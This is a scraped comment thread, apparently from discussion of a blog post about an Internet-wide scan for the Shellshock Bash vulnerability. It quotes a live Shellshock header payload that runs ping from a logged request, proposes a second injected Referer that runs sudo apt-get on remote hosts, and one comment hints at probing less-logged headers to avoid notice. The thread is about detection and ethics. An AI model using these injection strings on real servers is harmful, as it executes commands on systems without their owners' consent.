Bash 'shellshock' scan of the Internet
blog.erratasec.com
Bash 'shellshock' scan of the Internet
1–10 of 42 posts
Re: Bash 'shellshock' scan of the Internet
#2I've been monitoring my Apache logs all day for the string "() {". So far Robert Graham's scan is the only match. This is what the log entry looks like:
209.126.230.72 - - [24/Sep/2014:22:07:56 +0000] "GET / HTTP/1.0" 403 492 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"Re: Bash 'shellshock' scan of the Internet
#3Yikes, that redaction... even if it didn't miss digits that's a mighty small search space.
Really interested to see where the bug crops up aside from CGI scripts.
Re: Bash 'shellshock' scan of the Internet
#4Yikes, that redaction... even if it didn't miss digits that's a mighty small search space. Really interested to see where the bug crops up aside from CGI scripts.
[deleted]
Re: Bash 'shellshock' scan of the Internet
#5Now, just to repeat the scan with:
Referer: () { :; }; sudo apt-get update && sudo apt-get install --only-upgrade bash
Re: Bash 'shellshock' scan of the Internet
#6Now, just to repeat the scan with: Referer: () { :; }; sudo apt-get update && sudo apt-get install --only-upgrade bash "Why, who was that masked sysadmin? We didn't even get the chance to thank him."
Who would grant `sudo` privileges to `www-data` without asking for a password? That's just asking for a bad time.
Re: Bash 'shellshock' scan of the Internet
#7Now, just to repeat the scan with: Referer: () { :; }; sudo apt-get update && sudo apt-get install --only-upgrade bash "Why, who was that masked sysadmin? We didn't even get the chance to thank him."
Does this qualify as white-hat or grey-hat hacking? Does the doing only good outweigh the bad of modifying someone else's system?
Re: Bash 'shellshock' scan of the Internet
#8Now, just to repeat the scan with: Referer: () { :; }; sudo apt-get update && sudo apt-get install --only-upgrade bash "Why, who was that masked sysadmin? We didn't even get the chance to thank him."
Who would grant `sudo` privileges to `www-data` without asking for a password? That's just asking for a bad time.
The same people who write CGI applications in bash?
Re: Bash 'shellshock' scan of the Internet
#9I've been monitoring my Apache logs all day for the string "() {". So far Robert Graham's scan is the only match. This is what the log entry looks like: 209.126.230.72 - - [24/Sep/2014:22:07:56 +0000] "GET / HTTP/1.0" 403 492 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
I was scanned several times - looks like there were a few false starts and different ping commands: http://pastebin.com/badL7dtk
Re: Bash 'shellshock' scan of the Internet
#10I've been monitoring my Apache logs all day for the string "() {". So far Robert Graham's scan is the only match. This is what the log entry looks like: 209.126.230.72 - - [24/Sep/2014:22:07:56 +0000] "GET / HTTP/1.0" 403 492 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
Someone not wanting to stick out might only probe headers that are less-often logged, but still possibly passed-along as environment variables. Has anyone logged 'HTTP_FROM' in a long while?